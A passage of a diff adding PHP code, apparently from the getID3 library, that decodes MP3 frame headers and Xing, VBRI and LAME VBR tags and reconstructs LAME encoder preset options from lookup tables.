$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm'; // 3.90.3, 3.93, 3.93.1 + $KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm'; // 3.94, 3.95 + $KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice'; // 3.90.3, 3.93, 3.93.1 + $KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice'; // 3.94, 3.95 + $KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice'; // 3.94a14 + $KnownEncoderValues[0x28][65][1][1][0][2][7500] = '--preset mw-us'; // 3.90, 3.90.1, 3.92 + $KnownEncoderValues[0x28][65][1][1][0][2][7600] = '--preset mw-us'; // 3.90.2, 3.91 + $KnownEncoderValues[0x28][58][2][2][0][2][7000] = '--preset mw-us'; // 3.90.3, 3.93, 3.93.1 + $KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us'; // 3.94, 3.95 + $KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us'; // 3.94a14 + $KnownEncoderValues[0x28][57][2][1][0][4][8800] = '--preset mw-us'; // 3.94a15 + $KnownEncoderValues[0x18][58][2][2][0][2][4000] = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1 + $KnownEncoderValues[0x18][58][2][2][0][2][3900] = '--preset phon+/lw/mw-eu/sw'; // 3.93 + $KnownEncoderValues[0x18][57][2][1][0][4][5900] = '--preset phon+/lw/mw-eu/sw'; // 3.94, 3.95 + $KnownEncoderValues[0x18][57][2][1][0][4][6200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a14 + $KnownEncoderValues[0x18][57][2][1][0][4][3200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a15 + $KnownEncoderValues[0x10][58][2][2][0][2][3800] = '--preset phone'; // 3.90.3, 3.93.1 + $KnownEncoderValues[0x10][58][2][2][0][2][3700] = '--preset phone'; // 3.93 + $KnownEncoderValues[0x10][57][2][1][0][4][5600] = '--preset phone'; // 3.94, 3.95 + } + + if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { + + $encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; + + } elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { + + $encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; + + } elseif ($info['audio']['bitrate_mode'] == 'vbr') { + + // http://gabriel.mp3-tech.org/mp3infotag.html + // int Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h + + + $LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10); + $LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10); + $encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value; + + } elseif ($info['audio']['bitrate_mode'] == 'cbr') { + + $encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); + + } else { + + $encoder_options = strtoupper($info['audio']['bitrate_mode']); + + } + + } elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) { + + $encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr']; + + } elseif (!empty($info['audio']['bitrate'])) { + + if ($info['audio']['bitrate_mode'] == 'cbr') { + $encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000); + } else { + $encoder_options = strtoupper($info['audio']['bitrate_mode']); + } + + } + if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) { + $encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min']; + } + + if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) { + $encoder_options .= ' --nogap'; + } + + if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) { + $ExplodedOptions = explode(' ', $encoder_options, 4); + if ($ExplodedOptions[0] == '--r3mix') { + $ExplodedOptions[1] = 'r3mix'; + } + switch ($ExplodedOptions[0]) { + case '--preset': + case '--alt-preset': + case '--r3mix': + if ($ExplodedOptions[1] == 'fast') { + $ExplodedOptions[1] .= ' '.$ExplodedOptions[2]; + } + switch ($ExplodedOptions[1]) { + case 'portable': + case 'medium': + case 'standard': + case 'extreme': + case 'insane': + case 'fast portable': + case 'fast medium': + case 'fast standard': + case 'fast extreme': + case 'fast insane': + case 'r3mix': + static $ExpectedLowpass = array( + 'insane|20500' => 20500, + 'insane|20600' => 20600, // 3.90.2, 3.90.3, 3.91 + 'medium|18000' => 18000, + 'fast medium|18000' => 18000, + 'extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 + 'extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 + 'fast extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 + 'fast extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 + 'standard|19000' => 19000, + 'fast standard|19000' => 19000, + 'r3mix|19500' => 19500, // 3.90, 3.90.1, 3.92 + 'r3mix|19600' => 19600, // 3.90.2, 3.90.3, 3.91 + 'r3mix|18000' => 18000, // 3.94, 3.95 + ); + if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) { + $encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency']; + } + break; + + default: + break; + } + break; + } + } + + if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) { + if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) { + $encoder_options .= ' --resample 44100'; + } elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) { + $encoder_options .= ' --resample 48000'; + } elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) { + switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) { + case 0: // <= 32000 + // may or may not be same as source frequency - ignore + break; + case 1: // 44100 + case 2: // 48000 + case 3: // 48000+ + $ExplodedOptions = explode(' ', $encoder_options, 4); + switch ($ExplodedOptions[0]) { + case '--preset': + case '--alt-preset': + switch ($ExplodedOptions[1]) { + case 'fast': + case 'portable': + case 'medium': + case 'standard': + case 'extreme': + case 'insane': + $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; + break; + + default: + static $ExpectedResampledRate = array( + 'phon+/lw/mw-eu/sw|16000' => 16000, + 'mw-us|24000' => 24000, // 3.95 + 'mw-us|32000' => 32000, // 3.93 + 'mw-us|16000' => 16000, // 3.92 + 'phone|16000' => 16000, + 'phone|11025' => 11025, // 3.94a15 + 'radio|32000' => 32000, // 3.94a15 + 'fm/radio|32000' => 32000, // 3.92 + 'fm|32000' => 32000, // 3.90 + 'voice|32000' => 32000); + if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) { + $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; + } + break; + } + break; + + case '--r3mix': + default: + $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; + break; + } + break; + } + } + } + if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) { + //$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); + $encoder_options = strtoupper($info['audio']['bitrate_mode']); + } + + return $encoder_options; + } + + /** + * @param int $offset + * @param array $info + * @param bool $recursivesearch + * @param bool $ScanAsCBR + * @param bool $FastMPEGheaderScan + * + * @return bool + */ + public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) { + static $MPEGaudioVersionLookup; + static $MPEGaudioLayerLookup; + static $MPEGaudioBitrateLookup; + static $MPEGaudioFrequencyLookup; + static $MPEGaudioChannelModeLookup; + static $MPEGaudioModeExtensionLookup; + static $MPEGaudioEmphasisLookup; + if (empty($MPEGaudioVersionLookup)) { + $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); + $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); + $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); + $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); + $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); + $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); + $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); + } + + if ($this->fseek($offset) != 0) { + $this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset); + return false; + } + //$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame + $headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data + + // MP3 audio frame structure: + // $aa $aa $aa $aa [$bb $bb] $cc... + // where $aa..$aa is the four-byte mpeg-audio header (below) + // $bb $bb is the optional 2-byte CRC + // and $cc... is the audio data + + $head4 = substr($headerstring, 0, 4); + $head4_key = getid3_lib::PrintHexBytes($head4, true, false, false); + static $MPEGaudioHeaderDecodeCache = array(); + if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) { + $MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key]; + } else { + $MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4); + $MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray; + } + + static $MPEGaudioHeaderValidCache = array(); + if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache + //$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true); // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1) + $MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false); + } + + // shortcut + if (!isset($info['mpeg']['audio'])) { + $info['mpeg']['audio'] = array(); + } + $thisfile_mpeg_audio = &$info['mpeg']['audio']; + + if ($MPEGaudioHeaderValidCache[$head4_key]) { + $thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray; + } else { + $this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset); + return false; + } + + if (!$FastMPEGheaderScan) { + $thisfile_mpeg_audio['version'] = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']]; + $thisfile_mpeg_audio['layer'] = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']]; + + $thisfile_mpeg_audio['channelmode'] = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']]; + $thisfile_mpeg_audio['channels'] = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2); + $thisfile_mpeg_audio['sample_rate'] = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']]; + $thisfile_mpeg_audio['protection'] = !$thisfile_mpeg_audio['raw']['protection']; + $thisfile_mpeg_audio['private'] = (bool) $thisfile_mpeg_audio['raw']['private']; + $thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']]; + $thisfile_mpeg_audio['copyright'] = (bool) $thisfile_mpeg_audio['raw']['copyright']; + $thisfile_mpeg_audio['original'] = (bool) $thisfile_mpeg_audio['raw']['original']; + $thisfile_mpeg_audio['emphasis'] = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']]; + + $info['audio']['channels'] = $thisfile_mpeg_audio['channels']; + $info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate']; + + if ($thisfile_mpeg_audio['protection']) { + $thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2)); + } + } + + if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) { + // http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0 + $this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1'); + $thisfile_mpeg_audio['raw']['bitrate'] = 0; + } + $thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding']; + $thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']]; + + if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) { + // only skip multiple frame check if free-format bitstream found at beginning of file + // otherwise is quite possibly simply corrupted data + $recursivesearch = false; + } + + // For Layer 2 there are some combinations of bitrate and mode which are not allowed. + if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) { + + $info['audio']['dataformat'] = 'mp2'; + switch ($thisfile_mpeg_audio['channelmode']) { + + case 'mono': + if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) { + // these are ok + } else { + $this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); + return false; + } + break; + + case 'stereo': + case 'joint stereo': + case 'dual channel': + if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) { + // these are ok + } else { + $this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); + return false; + } + break; + + } + + } + + + if ($info['audio']['sample_rate'] > 0) { + $thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']); + } + + $nextframetestoffset = $offset + 1; + if ($thisfile_mpeg_audio['bitrate'] != 'free') { + + $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; + + if (isset($thisfile_mpeg_audio['framelength'])) { + $nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength']; + } else { + $this->error('Frame at offset('.$offset.') is has an invalid frame length.'); + return false; + } + + } + + $ExpectedNumberOfAudioBytes = 0; + + //////////////////////////////////////////////////////////////////////////////////// + // Variable-bitrate headers + + if (substr($headerstring, 4 + 32, 4) == 'VBRI') { + // Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36) + // specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html + + $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; + $thisfile_mpeg_audio['VBR_method'] = 'Fraunhofer'; + $info['audio']['codec'] = 'Fraunhofer'; + + $SideInfoData = substr($headerstring, 4 + 2, 32); + + $FraunhoferVBROffset = 36; + + $thisfile_mpeg_audio['VBR_encoder_version'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 4, 2)); // VbriVersion + $thisfile_mpeg_audio['VBR_encoder_delay'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 6, 2)); // VbriDelay + $thisfile_mpeg_audio['VBR_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 8, 2)); // VbriQuality + $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes + $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames + $thisfile_mpeg_audio['VBR_seek_offsets'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize + $thisfile_mpeg_audio['VBR_seek_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale + $thisfile_mpeg_audio['VBR_entry_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes + $thisfile_mpeg_audio['VBR_entry_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames + + $ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes']; + + $previousbyteoffset = $offset; + for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) { + $Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes'])); + $FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes']; + $thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']); + $thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset; + $previousbyteoffset += $Fraunhofer_OffsetN; + } + + + } else { + + // Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36) + // depending on MPEG layer and number of channels + + $VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']); + $SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4); + + if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) { + // 'Xing' is traditional Xing VBR frame + // 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.) + // 'Info' *can* legally be used to specify a VBR file as well, however. + + // http://www.multiweb.cz/twoinches/MP3inside.htm + //00..03 = "Xing" or "Info" + //04..07 = Flags: + // 0x01 Frames Flag set if value for number of frames in file is stored + // 0x02 Bytes Flag set if value for filesize in bytes is stored + // 0x04 TOC Flag set if values for TOC are stored + // 0x08 VBR Scale Flag set if values for VBR scale is stored + //08..11 Frames: Number of frames in file (including the first Xing/Info one) + //12..15 Bytes: File length in Bytes + //16..115 TOC (Table of Contents): + // Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file. + // Each Byte has a value according this formula: + // (TOC[i] / 256) * fileLenInBytes + // So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use: + // TOC[(60/240)*100] = TOC[25] + // and corresponding Byte in file is then approximately at: + // (TOC[25]/256) * 5000000 + //116..119 VBR Scale + + + // should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME +// if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') { + $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; + $thisfile_mpeg_audio['VBR_method'] = 'Xing'; +// } else { +// $ScanAsCBR = true; +// $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; +// } + + $thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4)); + + $thisfile_mpeg_audio['xing_flags']['frames'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001); + $thisfile_mpeg_audio['xing_flags']['bytes'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002); + $thisfile_mpeg_audio['xing_flags']['toc'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004); + $thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008); + + if ($thisfile_mpeg_audio['xing_flags']['frames']) { + $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 8, 4)); + //$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame + } + if ($thisfile_mpeg_audio['xing_flags']['bytes']) { + $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4)); + } + + //if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { + //if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { + if (!empty($thisfile_mpeg_audio['VBR_frames'])) { + $used_filesize = 0; + if (!empty($thisfile_mpeg_audio['VBR_bytes'])) { + $used_filesize = $thisfile_mpeg_audio['VBR_bytes']; + } elseif (!empty($info['filesize'])) { + $used_filesize = $info['filesize']; + $used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0); + $used_filesize -= (isset($info['id3v1']) ? 128 : 0); + $used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0); + $this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes'); + } + + $framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames']; + + if ($thisfile_mpeg_audio['layer'] == '1') { + // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 + //$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; + $info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12; + } else { + // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 + //$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; + $info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144; + } + $thisfile_mpeg_audio['framelength'] = floor($framelengthfloat); + } + + if ($thisfile_mpeg_audio['xing_flags']['toc']) { + $LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100); + for ($i = 0; $i < 100; $i++) { + $thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]); + } + } + if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) { + $thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4)); + } + + + // http://gabriel.mp3-tech.org/mp3infotag.html + if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') { + + // shortcut + $thisfile_mpeg_audio['LAME'] = array(); + $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; + + + $thisfile_mpeg_audio_lame['long_version'] = substr($headerstring, $VBRidOffset + 120, 20); + $thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9); + + //$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']); + $thisfile_mpeg_audio_lame['numeric_version'] = ''; + if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) { + $thisfile_mpeg_audio_lame['short_version'] = $matches[0]; + $thisfile_mpeg_audio_lame['numeric_version'] = $matches[1]; + } + if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) { + foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) { + $thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number); + } + //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { + if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207 + + // extra 11 chars are not part of version string when LAMEtag present + unset($thisfile_mpeg_audio_lame['long_version']); + + // It the LAME tag was only introduced in LAME v3.90 + // http://www.hydrogenaudio.org/?act=ST&f=15&t=9933 + + // Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html + // are assuming a 'Xing' identifier offset of 0x24, which is the case for + // MPEG-1 non-mono, but not for other combinations + $LAMEtagOffsetContant = $VBRidOffset - 0x24; + + // shortcuts + $thisfile_mpeg_audio_lame['RGAD'] = array('track'=>array(), 'album'=>array()); + $thisfile_mpeg_audio_lame_RGAD = &$thisfile_mpeg_audio_lame['RGAD']; + $thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track']; + $thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album']; + $thisfile_mpeg_audio_lame['raw'] = array(); + $thisfile_mpeg_audio_lame_raw = &$thisfile_mpeg_audio_lame['raw']; + + // byte $9B VBR Quality + // This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications. + // Actually overwrites original Xing bytes + unset($thisfile_mpeg_audio['VBR_scale']); + $thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1)); + + // bytes $9C-$A4 Encoder short VersionString + $thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9); + + // byte $A5 Info Tag revision + VBR method + $LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1)); + + $thisfile_mpeg_audio_lame['tag_revision'] = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4; + $thisfile_mpeg_audio_lame_raw['vbr_method'] = $LAMEtagRevisionVBRmethod & 0x0F; + $thisfile_mpeg_audio_lame['vbr_method'] = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']); + $thisfile_mpeg_audio['bitrate_mode'] = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr' + + // byte $A6 Lowpass filter value + $thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100; + + // bytes $A7-$AE Replay Gain + // http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html + // bytes $A7-$AA : 32 bit floating point "Peak signal amplitude" + if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') { + // LAME 3.94a16 and later - 9.23 fixed point + // ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375 + $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608); + } else { + // LAME 3.94a15 and earlier - 32-bit floating point + // Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15 + $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4)); + } + if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) { + unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); + } else { + $thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); + } + + $thisfile_mpeg_audio_lame_raw['RGAD_track'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2)); + $thisfile_mpeg_audio_lame_raw['RGAD_album'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2)); + + + if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) { + + $thisfile_mpeg_audio_lame_RGAD_track['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13; + $thisfile_mpeg_audio_lame_RGAD_track['raw']['originator'] = 